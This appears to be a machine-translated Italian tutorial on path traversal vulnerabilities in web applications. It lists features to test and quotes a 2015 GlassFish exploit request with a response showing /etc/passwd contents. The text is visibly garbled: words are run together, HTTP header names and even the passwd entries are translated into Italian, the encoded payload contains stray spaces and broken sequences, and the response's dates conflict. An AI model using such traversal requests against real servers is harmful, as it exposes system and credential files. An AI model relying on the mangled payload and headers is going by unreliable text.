Lavulnerabilità di attraversamento del percorsoviene ed per verificare se un'applicazione Web consente l'accesso non autorizzato a file o directory a cui deve essere negato l'accesso. Questo tipo di attacco utilizza parametri passati all'applicazione che mostrano i percorsi delle risorse su cui vengono eseguite operazioni specifiche, ad esempio la lettura, la scrittura o la visualizzazione del contenuto della directory. Di conseguenza, ciò può portare alla divulgazione di informazioni ridondanti, file di configurazione e persino alla possibilità di eseguire codice da remoto. La vulnerabilità di attraversamento del percorso può verificarsi in diversi elementi del software o delle sue funzioni. Non c'è posto da saltare durante i test, ma ci sono funzionalità a cui prestare particolare attenzione:
- Funzionalità responsabili del download di file dal server
- funzionalità responsabili del caricamento delle impostazioni dell'applicazione (modelli, stili, lingua dell'interfaccia),
- funzioni responsabili del caricamento dei file sul server.
Peril test delle vulnerabilità di attraversamento del percorso,è possibile utilizzareproxy HTTP, ad esempio Proxy Suite Burp. È possibile utilizzarlo per manipolare i parametri che rappresentano il tracciato aggiungendo le stringhe appropriate, ad esempio i parametri del tracciato. ".. /", finalizzato a "saltare fuori" dalla directory attualmente elaborata. Un esempio nell'immagine seguente:
Un altro esempio di vulnerabilità di attraversamento del percorso potrebbe essere un bug di agosto 2015 trovato sul server applicazioni GlassFish. La chiamata alla richiesta appropriata, come illustrato di seguito, ha consentito la lettura di qualsiasi file dal disco:
GET /theme/%c0%ae%c0%ae%c0%af%c0%ae%c0%c0%af%c0%c0%c0%ae%c0%af% c 0%ae%c0%ae%c0%af%c0%ae%c0%c0%af%c0%ae%c0%c0%c0%af%c0%ae%ae%ae%c0%ae% c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%c0%af%c0%ae%c0%ae%ae%ae %ae %c0%afetc%c0%afpasswd
HTTP/1.1
Host: 127.0.0.1:4848
Accetta: */*
Accetta-Lingua: en
Connessione: chiudi
In risposta, il server restituisce il contenuto del file /etc/passwd:
HTTP/1.1 200 OK
Server: GlassFish Server Open Source Edition 4.1
X-Powered-By: Servlet/3.1 JSP/2.3 (GlassFish Server Open Source Edition 4.1
Java/Oracle Corporation/1.7)
Ultimo modificato: martedì 13 gennaio 2015 10:00:00 GMT
Data: martedì, 10 gennaio 2015 10:00:00 GMT
Connessione: chiudi
Contenuto-Lunghezza: 1087
radice:!:16436:0:99999:7:::
daemon:*:16273:0:99999:7:::
bin:*:16273:0:99999:7:::
sys:*:16273:0:99999:7:::
sincronizzazione:*:16273:0:99999:7:::
[...]